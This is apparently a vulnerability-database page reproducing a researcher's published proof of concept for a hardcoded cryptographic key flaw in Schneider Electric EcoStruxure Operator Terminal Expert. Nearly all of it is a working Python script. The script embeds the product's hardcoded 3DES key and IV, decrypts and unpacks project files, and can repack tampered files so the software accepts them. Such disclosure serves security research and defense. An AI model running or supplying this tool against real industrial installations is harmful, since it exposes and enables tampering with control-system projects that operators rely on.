Lucene search
K

SRC-2020-0010 : Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability

🗓️ 18 Feb 2020 00:00:00Reported by Chris Anastasio (muffin) and Steven Seeley (mr_me) of Incite TeamType 
srcincite
 srcincite
🔗 srcincite.io👁 49 Views

Schneider Electric EcoStruxure OT Expert hard-coded cryptographic key info disclosur

Code
#!/usr/bin/env python3
"""
Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability
SRC ....: SRC-2020-0010
CVE ....: N/A
File ...: EcoStruxure Operator Terminal Expert V3.1.iso
SHA1 ...: 386312d68ba5e6a98df24258f2fbcfb2d8c8521b
Download: https://download.schneider-electric.com/files?p_File_Name=EcoStruxure+Operator+Terminal+Expert+V3.1.iso
"""
import os
import re
import sys
import glob
import zlib
import zipfile
from Crypto.Cipher import DES3

# hardcoded values
key  = [ 202, 20, 221, 52, 225, 154, 5, 123, 111, 219, 11, 199, 145, 27, 200, 129, 254, 222, 253, 119, 213, 134, 72, 78 ]
iv   = [ 95, 21, 44, 250, 112, 73, 114, 155 ]
des3 = [ 93, 51, 117, 85, 189, 76, 88, 200, 231, 127 ]
plen  = 8

def check_equal(iterator):
   # if all the values are the same then its padding...
   return len(set(iterator)) <= 1

def _inflate(decoded_data):
    return zlib.decompress(decoded_data, -15)

def _deflate(string_val):
    compressed = zlib.compress(string_val)
    return compressed[2:-4]

def delete_folder(top) :
    for root, dirs, files in os.walk(top, topdown=False):
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))
    os.rmdir(top)

def decrypt_file(filename):
    print("(+) unpacking: %s" % filename)
    decr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
    default_data = bytes([8, 8, 8, 8, 8, 8, 8, 8])
    with open(filename, "rb") as f:
        if list(f.read(10)) == des3:
            encrypted = f.read()
            raw_data = decr.decrypt(encrypted)
            if not check_equal(list(raw_data)):
                raw_data = _inflate(raw_data)
        else:
            f.seek(0)
            raw_data = f.read() 
    # now that we have the decrypted data, let's overwrite the file...
    with open(filename, "wb") as f:
        f.write(raw_data)

def encrypt_file(filename):
    print("(+) packing: %s" % filename)
    encr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
    with open(filename, "rb") as f:
        packed_data = f.read()
        if not packed_data == bytes([8, 8, 8, 8, 8, 8, 8, 8]):
            packed_data = _deflate(packed_data)
        # padding for encryption, same as schneider
        pad = plen - (len(packed_data) % plen)
        # if we just have padding in there, then dont bother adding more padding now...
        if len(packed_data) != 8:
            for i in range(0, pad):
                packed_data += bytes([pad])
        encr_data = bytes(des3) + encr.encrypt(packed_data)
    with open(filename, "wb") as f:
        f.write(encr_data)

def unpack(project):
    z = os.path.abspath(project)
    output_dir = os.path.splitext(z)[0]
    print("(+) unpacking to %s" % output_dir)
    if os.path.exists(output_dir):
        print("(-) %s already exists!" % output_dir)
        return False
    zip_obj = zipfile.ZipFile(z, 'r')
    zip_obj.extractall(output_dir)
    zip_obj.close()
    # two levels deep, we can do more if we need to
    for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
        decrypt_file(file)
    print("(+) unpacked and decrypted: %s" % project)

def pack(project):
    z = os.path.abspath(project)
    output_dir = os.path.splitext(z)[0]
    # two levels deep, we can do more if we need to
    for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
        if os.path.basename(file) != "[Content_Types].xml":
            encrypt_file(file)

    zf = zipfile.ZipFile(project, "w")
    for file in list(set(glob.glob(os.path.basename(output_dir) + '/**/**/*.*', recursive=True))):
        zf.write(file, "/".join(file.strip("/").split('/')[1:]))

    zf.close()
    delete_folder(output_dir)
    print("(+) packed and encrypted: %s" % project)

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s[options]" % sys.argv[0])
        print("(+) eg: %s sample.vxdz unpack" % sys.argv[0])
        print("(+) eg: %s sample.vxdz pack" % sys.argv[0])
        sys.exit(0)
    f = sys.argv[1]
    c = sys.argv[2]
    if c.lower() == "unpack":
        unpack(f)
    elif c.lower() == "pack":
        pack(f)
    else:
        print("(-) invalid option!")
        sys.exit(1)

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation